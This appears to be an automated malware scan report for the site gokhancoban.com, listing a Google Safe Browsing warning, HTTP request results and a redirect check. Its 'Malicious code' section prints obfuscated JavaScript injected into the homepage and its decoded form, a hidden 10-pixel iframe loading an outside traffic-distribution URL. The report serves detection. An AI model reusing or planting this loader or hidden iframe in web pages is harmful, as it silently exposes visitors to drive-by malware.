Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=gokhancoban.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://gokhancoban.com/ | 200 OK Content-Length: 6649 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) el=document.createElement("div");el.innerHTML="ReferenceErr";try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="<,m{1btw f?]c .dN(B=euT);Eh}z:[\"laiCroy'>/vnA0sgp";ar2="R52c0c84c-100c-4c36c-8c88c-100c36c-76c72c92c-148c32c132c-108c-56c76c28c-48c-72c72c92c-148c160c-112c80c-64c44c56c-124c68c-124c72c-12c88c-136c128c-88c92c4c-64c28c60c-136c48c-80c40c0c0c84c-100c108c-12c-124c72c64c-76c24c4c-44c0c56c-76c48c48c56c-104c-48c-20c40c0c0c8c88c-100c36c-76c72c92c-14 e(s); Decoded script: pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k <iframe src='http://zdesestvareznezahodi.com/tds/go.php?sid=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://gokhancoban.com/test404page.js | 404 Not Found Content-Length: 1062 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: gokhancoban.com
Result:
HTTP/1.1 200 OK
Date: Thu, 17 Jul 2014 18:38:11 GMT
Accept-Ranges: bytes
ETag: "52aa41b6fd27cc1:0"
Server: Microsoft-IIS/7.5
Content-Length: 6649
Content-Type: text/html
Last-Modified: Sat, 11 Jun 2011 06:06:32 GMT
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
...6649 bytes of data.
GET / HTTP/1.1
Host: gokhancoban.com
Result:
HTTP/1.1 200 OK
Date: Thu, 17 Jul 2014 18:38:11 GMT
Accept-Ranges: bytes
ETag: "52aa41b6fd27cc1:0"
Server: Microsoft-IIS/7.5
Content-Length: 6649
Content-Type: text/html
Last-Modified: Sat, 11 Jun 2011 06:06:32 GMT
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
...6649 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: gokhancoban.com
Referer: http://www.google.com/search?q=gokhancoban.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: gokhancoban.com
Referer: http://www.google.com/search?q=gokhancoban.com
Result:
The result is similar to the first query. There are no suspicious redirects found.